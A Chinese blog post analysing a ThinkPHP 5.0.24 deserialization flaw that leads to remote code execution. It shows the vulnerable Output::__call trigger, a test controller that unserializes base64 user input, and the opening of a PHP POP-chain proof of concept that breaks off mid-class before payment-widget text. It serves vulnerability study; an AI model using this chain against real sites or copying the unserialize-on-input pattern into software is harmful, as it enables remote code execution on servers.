Thinkphp 5.0.24反序列化漏洞导致RCE分析

ThinkPHP 5.0.24 反序列化漏洞分析
本文详细分析了ThinkPHP 5.0.24版本中存在的反序列化漏洞,通过构造特定的POP链,利用__call方法实现远程代码执行。文章介绍了漏洞触发点、环境搭建过程、POP链构造方法及漏洞利用原理。

1. 概述

总体思路就是先全局搜索可以利用的魔法函数作为入口,比如__destruct,然后再一步步构造pop链往漏洞触发点跳

根据大佬的指点漏洞触发点在thinkphp/library/think/console/Output.php的__call方法

public function __call($method, $args)
    {
   
   
        if (in_array($method, $this->styles)) {
   
   
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args); ## 漏洞触发点,这里可以做为跳板,来触发漏洞
        }

        if ($this->handle && method_exists($this->handle, $method)) {
   
   
            return call_user_func_array([$this->handle, $method], $args);
        } else {
   
   
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }

2. 环境搭建

Windows、PHPStudy(PHP5.6.27)、ThinkPHP5.0.24;

ThinkPHP5.0.24 下载地址如下:

https://www.thinkphp.cn/download/1279.html

搭建好如下图所示:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UF87bEvk-1648394538253)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220327115153591.png)]

先来写一个入口函数,将application\index\controller\Index.php修改为:

<?php
namespace app\index\controller;

class Index
{
   
   
    public function index()
    {
   
   
        if(isset($_GET['data'])){
   
   
            #echo base64_decode($_GET['data']);
            #echo '</br>';
            #echo 'aaa';
            $data = base64_decode($_GET['data']);
            unserialize($data);
        }else{
   
   
            highlight_file(__FILE__);
        }
        #return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
    }
}

至此环境就完全搭建好了。

3. POP链与POC

这里直接上大佬给的POP链图
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MERvS92s-1648394538254)(C:\Users\91136\Desktop\t01811445c8ddbe04a2.png)]
poc如下:

<?php

namespace think\process\pipes;
abstract class Pipes
{
   
   
}

use think\model\Pivot;

class Windows extends Pipes
{
   
   
    private $files = [];

    function __construct()
    {
   
   
        $this->files = [new Pivot()];
    }
}

namespace think;

abstract class Model
{
   
   
    protected $append = [];
    protected $error;
    protected $parent;
}

namespace think\model;

use think\Model;
use think\console\Output;
use think\model\relation\HasOne;

class Pivot extends Model
{
   
   
    public $parent;

    function __construct()
    {
   
   
        $this->append = ["getError" => "getError"];
        $this->parent = new Output();
        $this->error = new HasOne();
    }
}

namespace think\db;

use think\console\Output;

class Query
{
   
   
    protected $model;

    function __construct()
    {
   
   
        $this->model = new Output();
    }
}

namespace think\model;
abstract class Relation
{
   
   
    protected $selfRelation;
    
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值